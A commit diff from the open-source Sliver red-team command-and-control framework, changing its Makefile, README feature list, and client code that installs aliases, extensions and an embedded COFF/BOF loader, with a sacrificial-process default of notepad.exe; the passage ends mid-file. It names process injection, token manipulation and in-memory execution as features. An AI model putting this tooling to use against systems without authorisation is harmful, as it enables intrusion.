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5 Commits
Author SHA1 Message Date
moloch-- fb573bb122 Correctly convert request path 2021-12-23 08:54:39 -06:00
moloch-- f780f70318 Fix various build-time errors 2021-12-23 08:36:36 -06:00
moloch-- 12c6a57362 implemented configurable http drivers per platform 2021-12-23 08:03:48 -06:00
moloch-- afc8ccd61d initial winhttp support 2021-12-23 07:33:53 -06:00
moloch-- 5b3f1eeb7b wip: Initial winhttp support 2021-12-22 16:38:55 -06:00
182 changed files with 7602 additions and 9838 deletions

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+1 -1
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@@ -1,4 +1,4 @@
FROM golang:1.17.6
FROM golang:1.17.5
#
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
+30 -55
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@@ -6,47 +6,33 @@ GO ?= go
ENV =
TAGS = -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
#
# Version Information
#
GO_VERSION = $(shell $(GO) version)
VERSION ?= $(shell git describe --abbrev=0)
COMPILED_AT = $(shell date +%s)
RELEASES_URL = https://api.github.com/repos/BishopFox/sliver/releases
PKG = github.com/bishopfox/sliver/client/version
GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
GIT_COMMIT = $(shell git rev-parse HEAD)
LDFLAGS = -ldflags "-s -w \
-X $(PKG).Version=$(VERSION) \
-X \"$(PKG).GoVersion=$(GO_VERSION)\" \
-X $(PKG).CompiledAt=$(COMPILED_AT) \
-X $(PKG).GithubReleasesURL=$(RELEASES_URL) \
-X $(PKG).GitCommit=$(GIT_COMMIT) \
-X $(PKG).GitDirty=$(GIT_DIRTY)"
#
# Prerequisites
#
# https://stackoverflow.com/questions/5618615/check-if-a-program-exists-from-a-makefile
EXECUTABLES = uname sed git zip date cut $(GO)
EXECUTABLES = uname sed git zip date $(GO)
K := $(foreach exec,$(EXECUTABLES),\
$(if $(shell which $(exec)),some string,$(error "No $(exec) in PATH")))
#
# Version Information
#
GO_VERSION = $(shell $(GO) version)
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
MIN_SUPPORTED_GO_MINOR_VERSION = 17
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
VERSION ?= $(shell git describe --abbrev=0)
COMPILED_AT = $(shell date +%s)
RELEASES_URL = https://api.github.com/repos/BishopFox/sliver/releases
CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
ARMORY_PUB_KEY = RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
ARMORY_REPO_URL = https://api.github.com/repos/sliverarmory/armory/releases
VERSION_PKG = github.com/bishopfox/sliver/client/version
GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
GIT_COMMIT = $(shell git rev-parse HEAD)
LDFLAGS = -ldflags "-s -w \
-X $(VERSION_PKG).Version=$(VERSION) \
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
SED_INPLACE := sed -i
STATIC_TARGET := linux
@@ -84,39 +70,39 @@ ifeq ($(MAKECMDGOALS), linux)
# Redefine LDFLAGS to add the static part
LDFLAGS = -ldflags "-s -w \
-extldflags '-static' \
-X $(VERSION_PKG).Version=$(VERSION) \
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY)"
-X $(PKG).Version=$(VERSION) \
-X \"$(PKG).GoVersion=$(GO_VERSION)\" \
-X $(PKG).CompiledAt=$(COMPILED_AT) \
-X $(PKG).GithubReleasesURL=$(RELEASES_URL) \
-X $(PKG).GitCommit=$(GIT_COMMIT) \
-X $(PKG).GitDirty=$(GIT_DIRTY)"
endif
#
# Targets
#
.PHONY: default
default: clean validate-go-version
default: clean
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
.PHONY: macos
macos: clean validate-go-version
macos: clean
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
.PHONY: macos-arm64
macos-arm64: clean validate-go-version
macos-arm64: clean
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_arm64 ./server
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_arm64 ./client
.PHONY: linux
linux: clean validate-go-version
linux: clean
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
.PHONY: windows
windows: clean validate-go-version
windows: clean
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server.exe ./server
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client.exe ./client
@@ -128,17 +114,6 @@ pb:
protoc -I protobuf/ protobuf/dnspb/dns.proto --go_out=paths=source_relative:protobuf/
protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=paths=source_relative:protobuf/ --go-grpc_out=protobuf/ --go-grpc_opt=paths=source_relative
validate-go-version:
@if [ $(GO_MAJOR_VERSION) -gt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
exit 0 ;\
elif [ $(GO_MAJOR_VERSION) -lt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
echo '$(GO_VERSION_VALIDATION_ERR_MSG)';\
exit 1; \
elif [ $(GO_MINOR_VERSION) -lt $(MIN_SUPPORTED_GO_MINOR_VERSION) ] ; then \
echo '$(GO_VERSION_VALIDATION_ERR_MSG)';\
exit 1; \
fi
.PHONY: clean-all
clean-all: clean
rm -rf ./server/assets/fs/darwin/amd64
+5 -3
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@@ -1,7 +1,7 @@
Sliver
======
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary encryption keys.
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS. Implants are dynamically compiled with unique X.509 certificates signed by a per-instance certificate authority generated when you first run the binary.
The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
@@ -17,11 +17,13 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
* [DNS canary](https://github.com/BishopFox/sliver/wiki/DNS-C2#dns-canaries) blue team detection
* [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, WireGuard, HTTP(S), and DNS
* Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
* Windows process migration, process injection, user token manipulation, etc.
* Local and remote process injection
* Windows process migration
* Windows user token manipulation
* Anti-fingerprinting features
* Let's Encrypt integration
* In-memory .NET assembly execution
* COFF/BOF in-memory loader
* TCP and named pipe pivots
* Much more!
### Getting Started
+9 -1
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@@ -1 +1,9 @@
fs/**
fs/*.zip
fs/extensions/darwin/amd64/
fs/extensions/darwin/arm64/
fs/extensions/linux/amd64/
fs/extensions/windows/amd64/
fs/extensions/darwin/386/
fs/extensions/darwin/386/
fs/extensions/linux/386/
fs/extensions/windows/386/
-65
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@@ -1,65 +0,0 @@
package assets
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"io/ioutil"
"log"
"os"
"path/filepath"
)
const (
AliasesDirName = "aliases"
)
// GetAliasesDir - Returns the path to the config dir
func GetAliasesDir() string {
rootDir, _ := filepath.Abs(GetRootAppDir())
dir := filepath.Join(rootDir, AliasesDirName)
if _, err := os.Stat(dir); os.IsNotExist(err) {
err = os.MkdirAll(dir, 0700)
if err != nil {
log.Fatal(err)
}
}
return dir
}
// GetInstalledAliasManifests - Returns a list of installed alias manifests
func GetInstalledAliasManifests() []string {
aliasDir := GetAliasesDir()
aliasDirContent, err := ioutil.ReadDir(aliasDir)
if err != nil {
log.Printf("error loading aliases: %s", err)
return []string{}
}
manifests := []string{}
for _, fi := range aliasDirContent {
if fi.IsDir() {
manifestPath := filepath.Join(aliasDir, fi.Name(), "alias.json")
if _, err := os.Stat(manifestPath); os.IsNotExist(err) {
log.Printf("no manifest in %s, skipping ...", manifestPath)
continue
}
manifests = append(manifests, manifestPath)
}
}
return manifests
}
-63
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@@ -1,63 +0,0 @@
package assets
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/json"
"io/ioutil"
"os"
"path/filepath"
)
const (
armoryConfigFileName = "armories.json"
)
var (
DefaultArmoryPublicKey string
DefaultArmoryRepoURL string
defaultArmoryConfig = &ArmoryConfig{
PublicKey: DefaultArmoryPublicKey,
RepoURL: DefaultArmoryRepoURL,
}
)
type ArmoryConfig struct {
PublicKey string `json:"public_key"`
RepoURL string `json:"repo_url"`
}
// GetArmoriesConfig - The parsed armory config file
func GetArmoriesConfig() []*ArmoryConfig {
armoryConfigPath := filepath.Join(GetRootAppDir(), armoryConfigFileName)
if _, err := os.Stat(armoryConfigPath); os.IsNotExist(err) {
return []*ArmoryConfig{defaultArmoryConfig}
}
data, err := ioutil.ReadFile(armoryConfigPath)
if err != nil {
return []*ArmoryConfig{defaultArmoryConfig}
}
var armoryConfigs []*ArmoryConfig
err = json.Unmarshal(data, &armoryConfigs)
if err != nil {
return []*ArmoryConfig{defaultArmoryConfig}
}
return append(armoryConfigs, defaultArmoryConfig)
}
+72 -11
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@@ -19,28 +19,49 @@ package assets
*/
import (
"embed"
"fmt"
"io/ioutil"
"log"
"os"
"os/user"
"path"
"path/filepath"
"strings"
ver "github.com/bishopfox/sliver/client/version"
)
var (
//go:embed fs/extensions/*
assetsFs embed.FS
)
const (
// SliverClientDirName - Directory storing all of the client configs/logs
SliverClientDirName = ".sliver-client"
versionFileName = "version"
// SliverExtensionsDirName - Directory storing the client side extensions
SliverExtensionsDirName = "extensions"
versionFileName = "version"
)
// GetRootAppDir - Get the Sliver app dir ~/.sliver-client/
func GetRootAppDir() string {
user, _ := user.Current()
dir := filepath.Join(user.HomeDir, SliverClientDirName)
dir := path.Join(user.HomeDir, SliverClientDirName)
if _, err := os.Stat(dir); os.IsNotExist(err) {
err = os.MkdirAll(dir, 0700)
if err != nil {
log.Fatal(err)
}
}
return dir
}
// GetExtensionsDir - Get the Sliver extension directory: ~/.sliver-client/extensions
func GetExtensionsDir() string {
user, _ := user.Current()
dir := path.Join(user.HomeDir, SliverClientDirName, SliverExtensionsDirName)
if _, err := os.Stat(dir); os.IsNotExist(err) {
err = os.MkdirAll(dir, 0700)
if err != nil {
@@ -52,7 +73,7 @@ func GetRootAppDir() string {
func assetVersion() string {
appDir := GetRootAppDir()
data, err := ioutil.ReadFile(filepath.Join(appDir, versionFileName))
data, err := ioutil.ReadFile(path.Join(appDir, versionFileName))
if err != nil {
return ""
}
@@ -60,7 +81,7 @@ func assetVersion() string {
}
func saveAssetVersion(appDir string) {
versionFilePath := filepath.Join(appDir, versionFileName)
versionFilePath := path.Join(appDir, versionFileName)
fVer, _ := os.Create(versionFilePath)
defer fVer.Close()
fVer.Write([]byte(ver.GitCommit))
@@ -72,12 +93,12 @@ func Setup(force bool, echo bool) {
localVer := assetVersion()
if force || localVer == "" || localVer != ver.GitCommit {
if echo {
fmt.Printf(`
Sliver Copyright (C) 2022 Bishop Fox
This program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.
This is free software, and you are welcome to redistribute it
under certain conditions; type 'licenses' for details.`)
fmt.Printf("\n\nUnpacking assets ...\n")
fmt.Printf("Unpacking assets ...\n")
}
err := setupCoffLoaderExt(appDir)
if err != nil {
fmt.Println(err)
log.Fatal(err)
}
saveAssetVersion(appDir)
}
@@ -85,3 +106,43 @@ under certain conditions; type 'licenses' for details.`)
SaveSettings(nil)
}
}
func setupCoffLoaderExt(appDir string) error {
extDir := GetExtensionsDir()
win32ExtDir := path.Join("windows", "386")
win64ExtDir := path.Join("windows", "amd64")
coffLoader32 := path.Join("fs", SliverExtensionsDirName, win32ExtDir, "COFFLoader.x86.dll")
coffLoader64 := path.Join("fs", SliverExtensionsDirName, win64ExtDir, "COFFLoader.x64.dll")
manifestPath := path.Join("fs", SliverExtensionsDirName, "manifest.json")
loader64, err := assetsFs.ReadFile(coffLoader64)
if err != nil {
return err
}
loader32, err := assetsFs.ReadFile(coffLoader32)
if err != nil {
return err
}
manifest, err := assetsFs.ReadFile(manifestPath)
if err != nil {
return err
}
localWin32ExtDir := path.Join(extDir, win32ExtDir)
err = os.MkdirAll(localWin32ExtDir, 0700)
if err != nil {
return err
}
localWin64ExtDir := path.Join(extDir, win64ExtDir)
err = os.MkdirAll(localWin64ExtDir, 0700)
if err != nil {
return err
}
err = ioutil.WriteFile(path.Join(localWin32ExtDir, "COFFLoader.x86.dll"), loader32, 0744)
if err != nil {
return err
}
err = ioutil.WriteFile(path.Join(extDir, "manifest.json"), manifest, 0700)
if err != nil {
return err
}
return ioutil.WriteFile(path.Join(localWin64ExtDir, "COFFLoader.x64.dll"), loader64, 0744)
}
+4 -4
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@@ -49,7 +49,7 @@ type ClientConfig struct {
// GetConfigDir - Returns the path to the config dir
func GetConfigDir() string {
rootDir, _ := filepath.Abs(GetRootAppDir())
dir := filepath.Join(rootDir, ConfigDirName)
dir := path.Join(rootDir, ConfigDirName)
if _, err := os.Stat(dir); os.IsNotExist(err) {
err = os.MkdirAll(dir, 0700)
if err != nil {
@@ -86,11 +86,11 @@ func GetConfigs() map[string]*ClientConfig {
// ReadConfig - Load config into struct
func ReadConfig(confFilePath string) (*ClientConfig, error) {
confFile, err := os.Open(confFilePath)
defer confFile.Close()
if err != nil {
log.Printf("Open failed %v", err)
return nil, err
}
defer confFile.Close()
data, err := ioutil.ReadAll(confFile)
if err != nil {
log.Printf("Read failed %v", err)
@@ -108,11 +108,11 @@ func ReadConfig(confFilePath string) (*ClientConfig, error) {
// SaveConfig - Save a config to disk
func SaveConfig(config *ClientConfig) error {
if config.LHost == "" || config.Operator == "" {
return errors.New("empty config")
return errors.New("Empty config")
}
configDir := GetConfigDir()
filename := fmt.Sprintf("%s_%s.cfg", filepath.Base(config.Operator), filepath.Base(config.LHost))
saveTo, _ := filepath.Abs(filepath.Join(configDir, filename))
saveTo, _ := filepath.Abs(path.Join(configDir, filename))
configJSON, _ := json.Marshal(config)
err := ioutil.WriteFile(saveTo, configJSON, 0600)
if err != nil {
-66
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@@ -1,66 +0,0 @@
package assets
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"io/ioutil"
"log"
"os"
"path/filepath"
)
const (
// ExtensionsDirName - Directory storing the client side extensions
ExtensionsDirName = "extensions"
)
// GetExtensionsDir - Get the Sliver extension directory: ~/.sliver-client/extensions
func GetExtensionsDir() string {
rootDir, _ := filepath.Abs(GetRootAppDir())
dir := filepath.Join(rootDir, ExtensionsDirName)
if _, err := os.Stat(dir); os.IsNotExist(err) {
err = os.MkdirAll(dir, 0700)
if err != nil {
log.Fatal(err)
}
}
return dir
}
// GetInstalledExtensionManifests - Returns a list of installed extension manifests
func GetInstalledExtensionManifests() []string {
extDir := GetExtensionsDir()
extDirContent, err := ioutil.ReadDir(extDir)
if err != nil {
log.Printf("error loading aliases: %s", err)
return []string{}
}
manifests := []string{}
for _, fi := range extDirContent {
if fi.IsDir() {
manifestPath := filepath.Join(extDir, fi.Name(), "extension.json")
if _, err := os.Stat(manifestPath); os.IsNotExist(err) {
log.Printf("no manifest in %s, skipping ...", manifestPath)
continue
}
manifests = append(manifests, manifestPath)
}
}
return manifests
}
+16
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@@ -0,0 +1,16 @@
[
{
"name": "coff-loader",
"help": "Load and execute Beacon Object Files (BOFs) in memory.",
"entrypoint": "LoadAndRun",
"extFiles": [
{
"os": "windows",
"files": {
"x64": "COFFLoader.x64.dll",
"x86": "COFFLoader.x86.dll"
}
}
]
}
]
-126
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@@ -1,126 +0,0 @@
package alias
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/json"
"fmt"
"io/ioutil"
"strings"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/jedib0t/go-pretty/v6/text"
)
// AliasesCmd - The alias command
func AliasesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if 0 < len(loadedAliases) {
PrintAliases(con)
} else {
con.PrintInfof("No aliases installed, use the 'armory' command to automatically install some\n")
}
}
// PrintAliases - Print a list of loaded aliases
func PrintAliases(con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Name",
"Command Name",
"Platforms",
"Version",
"Installed",
".NET Assembly",
"Reflective",
"Tool Author",
"Repository",
})
tw.SortBy([]table.SortBy{
{Name: "Name", Mode: table.Asc},
})
tw.SetColumnConfigs([]table.ColumnConfig{
{Number: 5, Align: text.AlignCenter},
})
installedManifests := getInstalledManifests()
for _, aliasPkg := range loadedAliases {
installed := ""
if _, ok := installedManifests[aliasPkg.Manifest.CommandName]; ok {
installed = "✅"
}
tw.AppendRow(table.Row{
aliasPkg.Manifest.Name,
aliasPkg.Manifest.CommandName,
strings.Join(aliasPlatforms(aliasPkg.Manifest), ",\n"),
aliasPkg.Manifest.Version,
installed,
aliasPkg.Manifest.IsAssembly,
aliasPkg.Manifest.IsReflective,
aliasPkg.Manifest.OriginalAuthor,
aliasPkg.Manifest.RepoURL,
})
}
con.Println(tw.Render())
}
// AliasCommandNameCompleter - Completer for installed extensions command names
func AliasCommandNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
results := []string{}
for name := range loadedAliases {
if strings.HasPrefix(name, prefix) {
results = append(results, name)
}
}
return results
}
func aliasPlatforms(aliasPkg *AliasManifest) []string {
platforms := map[string]string{}
for _, entry := range aliasPkg.Files {
platforms[fmt.Sprintf("%s/%s", entry.OS, entry.Arch)] = ""
}
keys := []string{}
for key := range platforms {
keys = append(keys, key)
}
return keys
}
func getInstalledManifests() map[string]*AliasManifest {
manifestPaths := assets.GetInstalledAliasManifests()
installedManifests := map[string]*AliasManifest{}
for _, manifestPath := range manifestPaths {
data, err := ioutil.ReadFile(manifestPath)
if err != nil {
continue
}
manifest := &AliasManifest{}
err = json.Unmarshal(data, manifest)
if err != nil {
continue
}
installedManifests[manifest.CommandName] = manifest
}
return installedManifests
}
-90
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@@ -1,90 +0,0 @@
package alias
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import "testing"
const (
sample1 = `{
"name": "test1",
"command_name": "test1",
"version": "1.0.0",
"repo_url": "https://example.com/",
"help": "some help",
"entrypoint": "foo",
"allow_args": true,
"default_args": "bar",
"is_reflective": true,
"is_assembly": true,
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "foo/test1.dll"
}
]
}`
)
func TestParseAliasManifest(t *testing.T) {
alias1, err := ParseAliasManifest([]byte(sample1))
if err != nil {
t.Errorf("Error parsing alias manifest: %s", err)
}
if alias1.Name != "test1" {
t.Errorf("Expected name to be 'test1', got '%s'", alias1.Name)
}
if alias1.CommandName != "test1" {
t.Errorf("Expected command_name to be 'test1', got '%s'", alias1.CommandName)
}
if alias1.Version != "1.0.0" {
t.Errorf("Expected version to be '1.0.0', got '%s'", alias1.Version)
}
if alias1.RepoURL != "https://example.com/" {
t.Errorf("Expected repo_url to be 'https://example.com/', got '%s'", alias1.RepoURL)
}
if alias1.Help != "some help" {
t.Errorf("Expected help to be 'some help', got '%s'", alias1.Help)
}
if alias1.Entrypoint != "foo" {
t.Errorf("Expected entrypoint to be 'foo', got '%s'", alias1.Entrypoint)
}
if !alias1.AllowArgs {
t.Errorf("Expected allow_args to be true, got false")
}
if alias1.DefaultArgs != "bar" {
t.Errorf("Expected default_args to be 'bar', got '%s'", alias1.DefaultArgs)
}
if !alias1.IsReflective {
t.Errorf("Expected is_reflective to be true, got false")
}
if !alias1.IsAssembly {
t.Errorf("Expected is_assembly to be true, got false")
}
}
-178
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@@ -1,178 +0,0 @@
package alias
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
)
// AliasesInstallCmd - Install an alias
func AliasesInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
aliasLocalPath := ctx.Args.String("path")
fi, err := os.Stat(aliasLocalPath)
if os.IsNotExist(err) {
con.PrintErrorf("Extension path '%s' does not exist", aliasLocalPath)
return
}
if !fi.IsDir() {
InstallFromFile(aliasLocalPath, false, con)
} else {
installFromDir(aliasLocalPath, con)
}
}
// Install an extension from a directory
func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
manifestData, err := ioutil.ReadFile(filepath.Join(aliasLocalPath, ManifestFileName))
if err != nil {
con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
return
}
manifest, err := ParseAliasManifest(manifestData)
if err != nil {
con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
return
}
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.Name))
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
con.PrintInfof("Alias '%s' already exists", manifest.Name)
confirm := false
prompt := &survey.Confirm{Message: "Overwrite current install?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
forceRemoveAll(installPath)
}
con.PrintInfof("Installing alias '%s' (%s) ... ", manifest.Name, manifest.Version)
err = os.MkdirAll(installPath, 0o700)
if err != nil {
con.PrintErrorf("\nError creating alias directory: %s\n", err)
return
}
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
if err != nil {
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
forceRemoveAll(installPath)
return
}
for _, cmdFile := range manifest.Files {
if cmdFile.Path != "" {
src := filepath.Join(aliasLocalPath, util.ResolvePath(cmdFile.Path))
dst := filepath.Join(installPath, util.ResolvePath(cmdFile.Path))
err := util.CopyFile(src, dst)
if err != nil {
con.PrintErrorf("\nError copying file '%s' -> '%s': %s\n", src, dst, err)
forceRemoveAll(installPath)
return
}
}
}
con.Printf("done!\n")
}
// Install an extension from a .tar.gz file
func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.SliverConsoleClient) *string {
manifestData, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", ManifestFileName))
if err != nil {
con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, aliasGzFilePath, err)
return nil
}
manifest, err := ParseAliasManifest(manifestData)
if err != nil {
con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
return nil
}
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
if !autoOverwrite {
con.PrintInfof("Alias '%s' already exists\n", manifest.CommandName)
confirm := false
prompt := &survey.Confirm{Message: "Overwrite current install?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return nil
}
}
forceRemoveAll(installPath)
}
con.PrintInfof("Installing alias '%s' (%s) ... ", manifest.Name, manifest.Version)
err = os.MkdirAll(installPath, 0o700)
if err != nil {
con.PrintErrorf("\nFailed to create alias directory: %s\n", err)
return nil
}
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
if err != nil {
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
forceRemoveAll(installPath)
return nil
}
for _, aliasFile := range manifest.Files {
if aliasFile.Path != "" {
err := installArtifact(aliasGzFilePath, installPath, aliasFile.Path, con)
if err != nil {
con.PrintErrorf("\nFailed to install file: %s\n", err)
forceRemoveAll(installPath)
return nil
}
}
}
con.Printf("done!\n")
return &installPath
}
func installArtifact(aliasGzFilePath string, installPath, artifactPath string, con *console.SliverConsoleClient) error {
data, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", strings.TrimPrefix(artifactPath, "/")))
if err != nil {
return err
}
if len(data) == 0 {
return fmt.Errorf("empty file %s", artifactPath)
}
localArtifactPath := filepath.Join(installPath, util.ResolvePath(artifactPath))
artifactDir := filepath.Dir(localArtifactPath)
if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
os.MkdirAll(artifactDir, 0o700)
}
err = ioutil.WriteFile(localArtifactPath, data, 0o600)
if err != nil {
return err
}
return nil
}
func forceRemoveAll(rootPath string) {
util.ChmodR(rootPath, 0o600, 0o700)
os.RemoveAll(rootPath)
}
-369
View File
@@ -1,369 +0,0 @@
package alias
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"encoding/json"
"fmt"
"io/ioutil"
"os"
"path"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
)
const (
defaultTimeout = 60
ManifestFileName = "alias.json"
windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
